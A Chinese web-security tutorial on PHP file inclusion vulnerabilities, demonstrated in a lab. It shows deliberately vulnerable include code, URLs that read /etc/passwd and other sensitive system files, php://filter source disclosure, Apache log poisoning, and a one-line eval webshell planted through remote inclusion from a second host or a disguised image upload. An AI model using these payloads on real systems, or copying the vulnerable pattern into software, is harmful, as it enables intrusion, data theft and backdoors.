1.什么是文件包含?
PHP中提供了四个文件包含的函数:
函数名 | 作用 |
---|---|
require | 找不到包含文件时产生致命错误,停止脚本 |
require_once | 如果文件已经被包含,不会重复包含,其他与require一致 |
include | 找不到被包含文件时,只会warning,不会停止脚本 |
include_once | 如果文件已经被包含,不会重复包含,其他与include一致 |
做一个示范,在项目下新建IncludeAttack的文件夹,在文件夹下,新建两个文件
ArrayUtil.php
<?php
function PrintArr ($arr, $sp = "-->", $lin = "<br/>"){
foreach ($arr as $key => $value){
echo "$key $sp $value $lin";
}
}
index.php
<?php
include("ArrayUtil.php");
$arr = array("tom","jerry","steve");
PrintArr($arr);
运行后,如图所示:
可以看到,index.php包含了ArrayUtil.php并完成了打印
php包含文件不只可以包含php后缀结尾的文件,例如在文件夹下新建一个phpinfo.txt:
txt文件中是符合php代码的语法的,将这个txt文件包含到index.php中
发现可以解析文件
再试着改以下其他后缀,jpg,doc等等,都发现可以正常显示phpinfo的信息。因此,只要文件内容符合PHP的语法规范,那么任何扩展名都是可以被PHP解析的。
那么如果文件中的内容不符合规范呢?
比如在代码中包含/etc/passwd,
可以发现,当包含非PHP语法规范源文件时,则会暴露源代码。
PHP不仅可以包含本地的文件,还可以包含远程文件,远程包含在配置中是默认关闭的,打开远程包含
sudo vi /etc/php/7.2/apache2/php.ini
修改allow_url_include = off 改为On,然后重启web容器
systemctl restart apache2
然后在index.php中添加
include("http://192.168.85.129/");
之后打开index.php:
2.文件包含漏洞示例
经过上面的演示,php包含存在的风险已经一目了然了。那么如何利用文件包含漏洞呢?
有的网站的主页是这样的:
index.php
<?php
if (isset($_GET['page'])){
include $_GET['page'];
} else{
include 'home.php';
}
home.php
<a href="index.php?page=main.php">主页</a>
<a href="index.php?page=news.php">新闻</a>
<a href="index.php?page=download.php">下载</a>
界面如图:
当点击主页/新闻/下载时,会将php页面作为参数,包含在index.php页面中。
作为攻击者,可以恶意输入一些不存在的php文件:
可以看到,在警告信息中,暴露出了网站在服务器中的绝对路径。
通过这个接口,可以进行几种常见的攻击方式:
2.1 读取敏感文件
上文提到,当包含的文件不符合php语法规范时,就会暴露源码,那么就可以通过文件包含的接口,读取一些敏感的文件,比如访问:
http://192.168.85.128/IncludeAttack/index.php?page=/etc/passwd
诸如此类的敏感信息还有如下:
windows系统:
路径 | 作用 |
---|---|
C:\boot.ini | 查看系统版本 |
C:\windows\system32\inetsrv\MetaBase.xml | IIS配置文件 |
C:\windows\repair\sam | 存储windows系统初次安装的密码 |
C:\Program Files\mysql\mysql.ini | Mysql配置 |
C:\Program Files\mysql\data\mysql\user.MYD | Mysql root |
C:\windows\php.ini | php配置信息 |
C:\windows\my.ini | Mysql配置信息 |
Linux系统:
路径 | 作用 |
---|---|
/etc/passwd | 系统账户和权限 |
/usr/local/app/apache2/conf/httpd.conf | apache2默认配置文件 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | 虚拟网站设置 |
/usr/local/app/php/lib/php.ini | PHP相关设置 |
/etc/my.cnf | Mysql配置 |
2.2 远程包含shell
如果目标主机的allow_url_fopen是打开的,那么就可以尝试包含一句话木马。例如,在我的主机上新建一个木马,echo.txt:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['keyword']);?>"); ?>
然后将参数传给page,访问:
http://192.168.85.128/IncludeAttack/index.php?page=http://192.168.85.129/dvwa/hackable/uploads/echo.txt
此时,查看IncludeAttack文件夹下,发现多了一个shell.php的文件,正是由远程包含的php文件所写入的一句话木马。
2.3本地包含配合文件上传
之前一篇文章中提到过如何制作图片木马:
web安全学习笔记(六) 命令执行漏洞&&文件上传漏洞
当时提到,制作的图片木马不会直接被Apache服务器解析,需要配合一些其他方法。这里利用文件包含漏洞就可以了。将一句话木马制作成shell.jpg:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['keyword']);?>"); ?>
访问http://192.168.85.128/IncludeAttack/index.php?</xxx/xxx/upload/shell.jpg>即可在当前目录下生成shell.php了。
2.4使用PHP封装协议
php的内置封装文件时可以读取PHP文件的,比如访问:
http://192.168.85.128/IncludeAttack/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
得到的这段代码,就是经过Base64加密后的PHP源代码,通过解密,就可以得知网站的源代码了:
当然,php还支持许多其他协议,参考https://www.php.net/manual/zh/wrappers.php
2.5包含Apache日志文件
在目录/var/log/apache2中,存放着apache的日志文件:
可以看到,当用户访问时,日志文件会记录所访问的地址。例如访问:
http://192.168.85.128/IncludeAttack/aaaa,显示404 not found
虽然并不存在这个地址,但是同样会记录在日志中:
利用这一点,就可以将一句话木马记录在日志文件中,然后通过文件包含的方法来执行。
首先,访问http://192.168.85.128/IncludeAttack/<?php phpinfo();
需要注意的时,直接用浏览器进行访问的话,空格,"<",">"等符号都被浏览器转码了,记录到日志的时候是这样的格式:
明显这并不符合PHP语法规范,不过可以通过burp修改数据包,这样记录到日志里的文件就不会被转码了。
此时访问http://192.168.85.128/IncludeAttack/index.php?page=/var/log/apache2/access.log
发现log文件中php代码被解析了。
因此,攻击者就可以通过这种方式植入木马。
不过,笔者在linux平台的测试中发现,access.log以及apache2目录对于其他用户组是没有执行权限的,所以一般情况下,如果权限设置没有问题,那么就不会出现这样的漏洞。